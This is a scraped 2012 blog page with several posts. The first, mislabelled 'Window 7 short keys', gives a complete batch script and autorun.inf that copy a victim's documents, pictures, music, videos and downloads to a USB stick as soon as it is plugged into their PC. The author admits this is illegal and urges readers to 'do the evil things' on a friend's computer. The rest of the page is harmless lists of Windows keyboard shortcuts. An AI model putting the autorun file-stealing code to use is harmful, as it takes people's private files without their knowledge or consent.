Monday 8 October 2012

Window 7 short keys



In today’s article I am going to teach you something illegal but only for educationalpropose. This only demonstrates how you can copy files from your friend’s PC as soon as you plug in your flash drive or any removable storage media.
I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.


When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).
Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.
Here goes the batch code:
@echo off
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR
:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit
:ERROR
exit
What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory) command.
Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.
This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder.
Now I’ve defined another two cases after the first case CHECK, that is COPIER case and ERROR case.
Case COPIER will execute when the program recognizes it is Windows XP, where the real coying work goes o.
Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.
This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.
Now let’s create a file that will load it automatically.
[autorun]
Open=Filename.bat
Action=File Copier
The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

Copy the two files, autorun.inf and Filename.bat in your flash drive.
Then plug in your device to your friends PC and do the evil things.
Where is the flaw?
It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).

Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.

THANK YOU


AND PLEASE CLICK ON ADS TO GET NEW TRICKS
Labels: COMPUTER TRICKS
Windows 7 Cheat Sheet | Keyboard Shortcuts | Hotkeys | Reference | Windows Tricks


From Desktop

Windows Key + Tab : Aero
[press Tab to cycle between
Windows]

Windows Key + E : Windows Explorer is launched.


Windows Key + R : Run
Command is launched.

Windows Key + F : Search
(which is there in previous Windows versions too)

Windows Key + X : Mobility Center

Windows Key + L : Lock 
Computer (It is there from the earlier versions as well)

Windows Key + U : Launches Ease of Access

Windows Key + P : Projector

Windows Key + T : Cycle Super Taskbar Items

Windows Key + S : OneNote Screen Clipping Tool
[requires OneNote]

Windows Key + M : Minimize All Windows

Windows Key + D : Show/Hide Desktop

Windows Key + Up :
Maximize Current Window

Windows Key + Down :Restore Down/Minimize
Current Windows

Windows Key + Left : Tile Current Window to the Left

Windows Key + Right : Tile Current Windows to the Right
[Continue pressing the Left and Right keys to rotate the window as well]

Windows Key + # (# is any number) : Quickly Launch a
new instance of the
application in the Nth slot on the taskbar. Example Win+1
launches first pinned app, Win+2 launches second, etc.

Windows Key + = : Launches the Magnifier

Windows Key + Plus : Zoom in

Windows Key + Minus : Zooms out

Windows Key + Space : Peek at the desktop


From Windows Explorer

Alt + Up : Go up one level

Alt + Left/ Right : Back/Forward

Alt + P : Show/hide
Preview Pane


Task Modifiers

Shift + Click on icon :
Open a new instance

Middle click on icon :
Open a new instance

Ctrl + Shift + Click on
icon : Open a new instance with Admin privileges

Shift + Right-click on
icon : Show window menu (Restore / Minimize / Move /
etc). Note: Normally you can
just right-click on the
window thumbnail to get this menu.

Shift + Right-click on
grouped icon : Menu with Restore All / Minimize All /
Close All, etc.

Ctrl + Click on grouped
icon : Cycle between the windows (or tabs) in the group.



THANK YOU


AND PLEASE CLICK ON ADS TO GET NEW TRICKS
Labels: COMPUTER TRICKS
Sunday, April 1, 2012
MOST USEFULL KEYBOARD SHORTCUT
When speed counts, the keyboard is still king. Almost all the actions and commands you can perform with a mouse you can perform faster using combinations of keys on your keyboard. These simple keyboard shortcuts can get you where you want to go faster than several clicks of a mouse. You’ll work faster on spreadsheets and similar documents, too, because you won’t lose your place switching back and forth between mouse and keys.




Here are some of the most useful keyboard shortcuts:


Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE


Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Rename selected item. F2
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Select all. CTRL+A
Search for a file or folder. F3
View properties for the selected item. ALT+ENTER
Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Switch between open items. ALT+TAB
Cycle through items in the order they were opened. ALT+ESC
Cycle through screen elements in a window or on the desktop. F6
Display the Address bar list in My Computer or Windows Explorer. F4
Display the shortcut menu for the selected item. SHIFT+F10
Display the System menu for the active window. ALT+SPACEBAR
Display the Start menu. CTRL+ESC
Display the corresponding menu. ALT+Underlined letter in a menu name
Carry out the corresponding command. Underlined letter in a command name on an open menu
Activate the menu bar in the active program. F10
Open the next menu to the right, or open a submenu. RIGHT ARROW
Open the next menu to the left, or close a submenu. LEFT ARROW
Refresh the active window. F5
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Cancel the current task. ESC
SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.
Use these keyboard shortcuts for dialog boxes:


Move forward through tabs. CTRL+TAB

Move backward through tabs. CTRL+SHIFT+TAB
Move forward through options. TAB
Move backward through options. SHIFT+TAB
Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
Carry out the command for the active option or button. ENTER
Select or clear the check box if the active option is a check box. SPACEBAR
Select a button if the active option is a group of option buttons. Arrow keys
Display Help. F1
Display the items in the active list. F4
Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE


If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:


Display or hide the Start menu.
Display the System Properties dialog box. +BREAK
Show the desktop. +D
Minimize all windows. +M
Restores minimized windows. +Shift+M
Open My Computer. +E
Search for a file or folder. +F
Search for computers. CTRL+ +F
Display Windows Help. +F1
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. + L
Open the Run dialog box. +R
Display the shortcut menu for the selected item.
Open Utility Manager. +U


Helpful accessibility keyboard shortcuts:


Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT +left SHIFT +PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds
Open Utility Manager. +U


Keyboard shortcuts you can use with Windows Explorer:


Display the bottom of the active window. END
Display the top of the active window. HOME
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Collapse current selection if it’s expanded, or select parent folder. LEFT ARROW
Display current selection if it’s collapsed, or select first subfolder. RIGHT ARROW